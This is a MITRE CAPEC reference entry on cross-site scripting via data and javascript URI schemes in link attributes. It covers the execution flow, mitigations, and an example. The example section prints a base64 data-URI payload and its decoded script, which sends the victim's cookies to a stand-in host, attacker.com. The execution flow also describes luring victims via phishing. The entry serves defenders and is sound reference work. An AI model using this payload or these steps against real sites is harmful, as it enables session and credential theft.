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CAPEC-244: XSS Targeting URI Placeholders

Attack Pattern ID: 244
Abstraction: Detailed
Status: Draft
Presentation Filter:
+ Description
An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.
+ Likelihood Of Attack

High

+ Typical Severity

High

+ Relationships
Section HelpThis table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
NatureTypeIDName
ChildOfDetailed Attack PatternDetailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.588DOM-Based XSS
ChildOfDetailed Attack PatternDetailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.591Reflected XSS
ChildOfDetailed Attack PatternDetailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.592Stored XSS
Section HelpThis table shows the views that this attack pattern belongs to and top level categories within that view.
+ Execution Flow
Explore
  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.
Experiment
  1. Probe identified potential entry points for reflected XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads formatted as data URI schemes using base to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.

    Techniques
    Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
  2. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.

    Techniques
    Change a URL parameter to include a malicious payload formatted as a URI scheme, or use the URL returned when the URI scheme was given as input to the web application.
    Send information gathered from the malicious script to a remote endpoint.
Exploit
  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.

    Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
+ Prerequisites
Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.
+ Skills Required
[Level: Medium]
To inject the malicious payload in a web page
+ Resources Required
Ability to send HTTP request to a web application
+ Consequences
Section HelpThis table specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Modify Data
Confidentiality
Read Data
Authorization
Execute Unauthorized Commands
Accountability
Authentication
Authorization
Non-Repudiation
Gain Privileges
Access Control
Authorization
Bypass Protection Mechanism
+ Mitigations
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.
Implementation: Perform input validation for all remote content, including remote and user-generated content
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as JavaScript in browser
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
+ Example Instances

The following payload data:

text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.

The decoded payload is the following piece of HTML code:

<html>
<body>
<script>
var img = new Image();
img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);

</script>

</body>

</html>

Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.

An adversary could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):

<a href="INJECTION_POINT">My Link</a>

Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.

+ References
[REF-70] "OWASP Testing Guide". Testing for Cross site scripting. v2. The Open Web Application Security Project (OWASP). <http://www.owasp.org/index.php/Testing_for_Cross_site_scripting>.
[REF-96] "Google Cross-Site Scripting HOWTO article". Google. <https://code.google.com/archive/p/doctype/wikis/ArticleXSSInUrlAttributes.wiki>.
[REF-97] XSS Filter Evasion Cheat Sheet.
[REF-72] "WASC Threat Classification 2.0". WASC-08 - Cross Site Scripting. The Web Application Security Consortium (WASC). 2010. <http://projects.webappsec.org/Cross-Site+Scripting>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2014-06-23CAPEC Content TeamThe MITRE Corporation
Modifications
Modification DateModifierOrganization
2017-05-01CAPEC Content TeamThe MITRE Corporation
Updated Related_Attack_Patterns, Related_Weaknesses
2018-07-31CAPEC Content TeamThe MITRE Corporation
Updated References
2019-04-04CAPEC Content TeamThe MITRE Corporation
Updated Consequences, Related_Weaknesses
2020-07-30CAPEC Content TeamThe MITRE Corporation
Updated Execution_Flow
2022-02-22CAPEC Content TeamThe MITRE Corporation
Updated Example_Instances, Execution_Flow
Previous Entry Names
Change DatePrevious Entry Name
2017-05-01Cross-Site Scripting via Encoded URI Schemes
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Page Last Updated or Reviewed: October 21, 2021